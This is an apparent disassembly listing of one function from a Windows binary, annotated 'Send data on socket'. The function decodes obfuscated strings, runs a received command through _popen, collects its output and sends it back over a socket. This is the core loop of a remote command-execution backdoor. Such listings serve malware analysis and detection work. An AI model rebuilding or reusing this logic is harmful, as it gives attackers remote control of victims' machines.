Function at 0x404374
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [esp + 0x68]
mov edi, dword [esp + 0x64]
test bl, bl
je 0x4043e6
mov dword [esp], str.MzwjMA
call fcn.00405228
mov dword [esp], edi
mov dword [esp + 4], eax
mov esi, eax
mov dword [esp + 0x3c], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4043e6
mov eax, dword [esp + 0x60]
mov dword [esp + 8], 0x4070a2
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.00405284
test eax, eax
lea edx, [esp + 0x3c]
je 0x4043d1
mov dword [esp], edx
jmp 0x404720
mov dword [esp], edx
mov dword [esp + 0x1c], eax
call fcn.004050c4
mov eax, dword [esp + 0x1c]
jmp 0x4047a0
lea esi, [esp + 0x28]
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.0040489c
mov eax, dword [esp + 0x28]
mov dword [esp + 4], 0x4070a3
mov dword [esp], eax
call sub.msvcrt.dll__popen
mov dword [esp], esi
mov ebp, eax
call fcn.004050c4
test ebp, ebp
mov eax, 1
je 0x4047a0
xor eax, eax
test bl, bl
je 0x4047a0
mov dword [esp], 1
call sub.msvcrt.dll_malloc
mov byte [eax], 0
mov dword [esp], 0x401
mov dword [esp + 0x2c], eax
call sub.msvcrt.dll_malloc
mov edx, eax
mov dword [esp + 0x30], eax
mov ecx, 0x401
xor eax, eax
mov edi, edx
rep stosb byte es:[edi], al
mov eax, dword [sym.imp.msvcrt.dll__iob]
lea ebx, [eax + 0x20]
mov eax, dword [esp + 0x30]
mov dword [esp + 8], ebp
mov dword [esp + 4], 0x400
mov dword [esp], eax
call sub.msvcrt.dll_fgets
test eax, eax
je 0x40451a
mov edx, dword [esp + 0x2c]
xor eax, eax
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x30]
mov esi, ecx
or ecx, 0xffffffff
not esi
repne scasb al, byte es:[edi]
mov dword [esp], edx
not ecx
lea esi, [esi + ecx - 2]
lea eax, [esi + 1]
mov dword [esp + 4], eax
call sub.msvcrt.dll_realloc
mov edi, dword [esp + 0x30]
mov edx, eax
mov dword [esp + 0x2c], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x30]
mov dword [esp], edx
not ecx
dec ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strncat
mov eax, dword [esp + 0x2c]
mov byte [eax + esi], 0
mov dword [esp], ebx
call sub.msvcrt.dll_fflush
test byte [ebp + 0xc], 0x20
je 0x404508
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.004050c4
lea eax, [esp + 0x30]
mov dword [esp], eax
jmp 0x404720
mov edi, dword [esp + 0x30]
mov ecx, 0x401
xor eax, eax
rep stosb byte es:[edi], al
jmp 0x404463
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.004050c4
mov dword [esp], str.PDw8RU5EX09GX09VVFBVVD4Pg
call fcn.00405228
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x34], eax
mov esi, eax
cmp byte [edx], 0
jne 0x404574
or ebx, 0xffffffff
mov edi, eax
xor eax, eax
mov ecx, ebx
repne scasb al, byte es:[edi]
mov dword [esp], edx
mov esi, ecx
not esi
mov dword [esp + 4], esi
call sub.msvcrt.dll_realloc
mov edi, dword [esp + 0x34]
mov dword [esp + 0x2c], eax
mov edx, eax
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, edx
not ecx
rep stosb byte es:[edi], al
jmp 0x4045a0
xor eax, eax
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, esi
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ebx
mov dword [esp], edx
mov eax, ecx
not eax
lea esi, [ebx + eax - 1]
mov dword [esp + 4], esi
call sub.msvcrt.dll_realloc
mov dword [esp + 0x2c], eax
mov edx, dword [esp + 0x34]
or ebx, 0xffffffff
xor eax, eax
mov ecx, ebx
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], edx
not ecx
dec ecx
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.msvcrt.dll_strncat
mov eax, dword [esp + 0x2c]
mov byte [eax + esi - 1], 0
mov dword [esp], ebp
lea esi, [esp + 0x34]
call sub.msvcrt.dll_fclose
inc eax
jne 0x4045ea
lea eax, [esp + 0x2c]
mov dword [esp], eax
jmp 0x404718
mov dword [esp], ebp
call sub.msvcrt.dll__pclose
inc eax
je 0x4045de
mov eax, dword [esp + 0x2c]
cmp byte [eax], 0
je 0x404731
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.004042f0
test eax, eax
jne 0x4046c3
mov dword [esp], str.T0sgRE9ORQ
call fcn.00405228
mov ecx, ebx
mov dword [esp + 0x3c], eax
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x34]
mov edx, ecx
mov ecx, ebx
not edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x2c]
not ecx
lea ebp, [edx + ecx - 2]
mov dword [esp], eax
lea ecx, [ebp + 1]
mov dword [esp + 4], ecx
mov dword [esp + 0x1c], ecx
call sub.msvcrt.dll_realloc
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
mov edi, eax
xor eax, eax
rep stosb byte es:[edi], al
mov ecx, ebx
mov edx, dword [esp + 0x3c]
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], edx
not ecx
dec ecx
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.msvcrt.dll_strncat
mov edx, dword [esp + 0x34]
mov ecx, ebx
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], edx
not ecx
lea ebx, [ecx - 1]
mov dword [esp], eax
mov dword [esp + 8], ebx
call sub.msvcrt.dll_strncat
mov eax, dword [esp + 0x2c]
mov byte [eax + ebp], 0
lea eax, [esp + 0x3c]
mov dword [esp], eax
call fcn.004050c4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.004049bc
mov edx, eax
mov dword [esp + 0x3c], eax
or ecx, 0xffffffff
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
mov dword [esp + 0xc], 0
mov dword [esp + 4], edx
mov eax, ecx
not eax
dec eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
inc eax
lea ebx, [esp + 0x3c]
jne 0x40472c
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.004050c4
mov dword [esp], ebx
call fcn.004050c4
mov dword [esp], esi
call fcn.004050c4
mov eax, 1
jmp 0x4047a0
mov dword [esp], ebx
jmp 0x404791
mov dword [esp], str.SVNTVUVT
call fcn.00405228
mov dword [esp], eax
mov dword [esp + 0x38], eax
call fcn.004049bc
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.004050c4
mov edx, dword [esp + 0x3c]
xor eax, eax
mov ecx, ebx
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x60]
mov dword [esp + 0xc], 0
not ecx
mov dword [esp + 4], edx
dec ecx
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
inc eax
lea eax, [esp + 0x3c]
mov dword [esp], eax
je 0x404718
call fcn.004050c4
mov dword [esp], esi
call fcn.004050c4
xor eax, eax
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret